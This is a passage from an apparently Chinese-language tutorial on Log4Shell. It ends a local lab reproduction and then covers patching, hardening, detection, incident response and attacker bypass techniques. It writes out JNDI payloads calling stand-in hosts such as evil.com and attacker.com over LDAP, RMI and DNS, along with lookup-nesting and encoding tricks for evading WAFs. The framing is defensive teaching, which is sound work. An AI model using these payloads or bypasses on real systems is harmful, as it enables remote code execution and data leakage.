2在格式化日志消息时解析name变量中的${}字符串触发JNDI查找。Java进程向127.0.0.1:1389发起LDAP查询。恶意LDAP服务器返回一个指向http://127.0.0.1:8000/Exploit.class的引用。Java进程从该HTTP地址下载Exploit.class字节码。JVM加载Exploit类执行其静态代码块中的Runtime.getRuntime().exec(calc.exe)从而弹出计算器。至此一次完整的Log4Shell漏洞复现成功。你通过一个简单的HTTP请求在远程服务器上实现了代码执行。注意事项复现过程中如果计算器没有弹出请按以下顺序排查1) 检查所有服务App, LDAP, HTTP是否都正常运行且无端口冲突2) 确认靶机应用的Java版本是否低于限制版本用java -version命令3) 检查靶机应用的日志输出看是否打印了相关的错误信息如连接拒绝、类加载失败4) 尝试将载荷中的127.0.0.1替换为你本机在局域网的真实IP确保网络可达。5. 从攻击到防御漏洞修复与深度加固方案成功复现漏洞带来的震撼应该立刻转化为防御的动力。仅仅升级Log4j只是第一步一个健壮的防御体系需要多层次构建。5.1 根本解决升级与替换这是最直接有效的方案。升级Log4j 2立即升级到安全版本。Log4j 2.16.0Java 8或 2.12.2Java 7这两个版本默认完全禁用了JNDI功能并关闭了消息查找中的递归解析从根源上切断了利用链。Log4j 2.17.x 及更高版本提供了更细粒度的安全控制。升级命令示例Maven:properties log4j2.version2.17.2/log4j2.version /properties临时缓解措施如果无法立即升级设置系统属性在启动应用时添加JVM参数-Dlog4j2.formatMsgNoLookupstrue。这个参数在Log4j 2.10.0及以上版本有效可以关闭消息查找功能。移除易受攻击的类从classpath中删除JndiLookup类。因为该漏洞利用需要这个类。find /path/to/app -name log4j-core-*.jar -type f | xargs -I {} zip -q -d {} org/apache/logging/log4j/core/lookup/JndiLookup.class执行后需重启应用。这是一个“外科手术式”的临时方案。5.2 运行时环境加固设置Java安全策略即使应用使用了有漏洞的Log4j版本也可以通过强化Java运行时环境来阻止攻击成功。升级JDK/JRE将运行环境升级到以下版本这些版本默认禁用了JNDI远程类加载。Oracle JDK/JRE 8u191, 7u201, 6u211 或更高OpenJDK 8u192, 11.0.1 或更高设置安全属性对于无法升级的旧版本Java可以通过设置以下系统属性来限制JNDI-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dcom.sun.jndi.rmi.object.trustURLCodebasefalse这两个属性分别禁用了通过LDAP和RMI协议从远程Codebase加载工厂类的能力。5.3 网络层防御构筑外部访问防线纵深防御的关键在于即使攻击载荷被触发也要让它“找不到路”。出口过滤在服务器或网络边界防火墙严格限制服务器对外发起连接的端口和协议。除了必要的业务出口如访问数据库、API网关应默认拒绝所有出站请求。特别是要阻止服务器向外部任意地址的LDAP389, 636, 1389, 1636、RMI1099、DNS53等协议端口发起连接。这能有效阻断漏洞利用链的第三阶段。入侵检测/防御系统IDS/IPS部署安全设备或软件配置规则以检测出站流量中异常的LDAP或HTTP请求例如从Web服务器发往非常见IP的LDAP请求并及时告警或阻断。Web应用防火墙WAF在应用前端部署WAF配置规则对请求参数、头部、Cookie中的${jndi:、${ldap:、${rmi:等模式进行识别和拦截。注意攻击者会使用各种编码变形进行绕过因此WAF规则需要持续更新。5.4 应用层最佳实践编写“免疫”的代码防御的最终落脚点在于代码本身。输入验证与净化对所有用户输入进行严格的验证和过滤。对于明确不需要特殊字符的字段拒绝包含${、}等字符的输入。对于需要复杂内容的字段进行严格的转义或白名单过滤。谨慎记录日志避免记录不可信的、完整的用户输入。特别是HTTP请求头、URL参数、用户代理User-Agent、Referer等容易被攻击者控制的内容。如果必须记录应考虑进行脱敏或截断处理。使用参数化日志始终使用Log4j 2的参数化日志形式这本身不会阻止漏洞但它是良好的实践。// 好的做法使用参数化形式 logger.info(User login: {}, username); // 风险做法直接拼接字符串虽然对Log4Shell无影响但可能引发其他问题 logger.info(User login: username);依赖项安全管理建立软件物料清单SBOM使用像OWASP Dependency-Check、Snyk、GitHub Dependabot等工具持续扫描项目依赖及时发现并修复包含已知漏洞的组件。6. 排查、检测与应急响应实录当Log4Shell漏洞爆发时快速定位受影响资产和确认是否被攻击至关重要。以下是我在实际应急中总结的流程和技巧。6.1 如何快速排查受影响系统面对成百上千的服务你需要一个高效的排查清单排查维度具体操作与命令说明与技巧1. 进程扫描jps -l或 ps auxgrep java2. 依赖检查进入应用目录执行find . -name *.jar -type fxargs -I {} sh -c unzip -l {}3. 版本确认检查log4j-core-*.jar的文件名或解压后查看META-INF/MANIFEST.MF文件中的版本号。版本号小于等于2.14.1的均受影响。注意很多应用会将依赖打包进Fat Jar需要深入查找。4. 在线检测使用开源的检测脚本如log4j2-scanGo语言编写速度快./log4j2-scan /path/to/scan这类工具能自动化完成上述查找过程并给出详细报告适合大规模扫描。实操心得不要只扫描应用目录还要扫描服务器的/tmp、/var/tmp等临时目录攻击者可能会将恶意jar包下载到这些位置。同时检查容器的镜像层因为基础镜像可能包含有漏洞的库。6.2 入侵迹象分析与日志溯源如果怀疑系统已被攻击你需要像侦探一样在日志中寻找蛛丝马迹。在应用日志中搜索以下关键词原始载荷${jndi:、${ldap:、${rmi:、${dns:、${lower:、${upper:。攻击者经常使用lower、upper等Lookup进行嵌套混淆。编码后的载荷%24%7Bjndi%3AURL编码、${${::-j}ndi:特殊字符绕过。需要熟悉常见的编码和绕过技巧。网络连接迹象检查系统日志如/var/log/syslog,journalctl或使用netstat、ss命令查看是否有进程向外部非常用IP的1389LDAP、389、1099RMI、53DNS端口发起过连接。DNS查询日志也是重要线索因为攻击者会用${jndi:dns://attacker.com/a}来验证漏洞是否存在。异常进程与文件检查是否有陌生的Java进程、计划任务crontab、或新创建的陌生文件如/tmp/下的.class或.jar文件。一个真实的日志排查示例 假设你在Nginx访问日志中看到这样一条记录192.168.1.100 - - [10/Dec/2021:15:32:11] GET /api/search?q${jndi:ldap://evil.com:1389/Exploit} HTTP/1.1 200 45这几乎就是攻击的确凿证据。你需要立刻封锁源IP192.168.1.100。检查该时间点前后应用服务器和系统日志是否有异常。确认evil.com这个域名并尝试在威胁情报平台查询其信誉。6.3 应急响应步骤清单一旦确认遭受攻击必须立即按流程处置控制损失。立即隔离将受影响的主机从网络中断开或通过防火墙策略立即阻断其所有入站和出站流量防止攻击者维持访问或横向移动。消除攻击入口根据排查结果实施前述的修复方案升级、设置参数、删除类文件。优先采用升级方案。全面排查以被攻击主机为起点排查同一网络段内、有凭证互通的其他系统是否也受到影响。证据保存在修复前对受影响系统的内存、磁盘进行镜像备份保存相关日志以备后续法律溯源或深度分析。密码重置与密钥轮换假设攻击者已获取系统权限应重置该服务器涉及的所有数据库密码、API密钥、SSH密钥、证书等敏感信息。漏洞修复与恢复在隔离环境中对受影响系统完成彻底修复升级所有相关组件和安全加固后再重新上线。事后复盘分析攻击根本原因是未及时打补丁还是依赖管理流程缺失更新安全运维流程如强化补丁管理、引入自动化漏洞扫描、完善网络隔离策略。7. 高级利用技巧与绕过手法剖析仅用于防御认知了解攻击者的高级手法才能更好地防御。Log4Shell爆发后出现了多种绕过检测的利用技巧。7.1 利用其他Lookup进行混淆和绕过Log4j 2提供了众多Lookup攻击者可以组合使用构造出难以被简单字符串匹配检测的载荷。大小写变换${${lower:j}ndi:...}或${${upper:j}ndi:...}。${lower:j}的结果是j。环境变量嵌套${jndi:${env:PROTO}://${env:HOST}/a}。攻击者可以控制环境变量PROTOldapHOSTevil.com使得最终载荷在运行时才被解析。DNS查询作为利用链${jndi:dns://${sys:java.version}.attacker.com/a}。这会将目标的Java版本信息通过DNS子域名泄露给攻击者常用于漏洞存在性验证且不易被传统防火墙拦截。7.2 利用其他协议与向量除了LDAPJNDI还支持RMI、DNS、IIOP等协议这些都可以被用作攻击向量。RMI利用${jndi:rmi://attacker.com:1099/Exploit}。利用方式与LDAP类似但需要启动RMI注册表。二次攻击与内存马在早期攻击成功后可加载执行任意代码。现代攻击往往不满足于执行一次命令而是注入内存Webshell内存马。攻击者会下载一个特殊的jar包该jar包利用Java instrumentation或动态注册Filter/Servlet等技术在Web容器内存中植入一个后门即使重启应用不重启JVM后门依然存在极具隐蔽性。7.3 针对修复措施的绕过尝试在漏洞爆发初期一些临时修复措施被提出攻击者也迅速找到了绕过方法。针对formatMsgNoLookups的绕过在2.10到2.14.1版本中如果配置了%m{nolookups}或%msg{nolookups}可以防御。但攻击者发现如果日志记录方式不是通过%m而是通过${ctx}上下文映射等方式且上下文数据中包含了攻击载荷依然可能被解析。这凸显了彻底升级的重要性。针对WAF规则编码绕过双URL编码、十六进制编码、Unicode编码等都是攻击者绕过简单字符串匹配WAF的常用手段。例如将{编码为%257B双URL编码或\u0024\u007bUnicode。防御视角面对这些绕过手法防御方必须采取深度防御策略。单一维度的检测如字符串匹配必然会被绕过。必须结合行为检测如进程对外发起非常规的LDAP连接、运行时应用自我保护RASP以及网络层出口过滤形成立体防御体系。同时保持所有软件组件的最新状态是成本最低、效果最好的安全实践。Log4Shell事件给所有从业者上了一课在高度互联的软件生态中一个基础组件的漏洞其影响可能是全局性的。建立快速的漏洞响应机制、完善的资产清单和持续的依赖监控不再是可选项而是生存的必需品。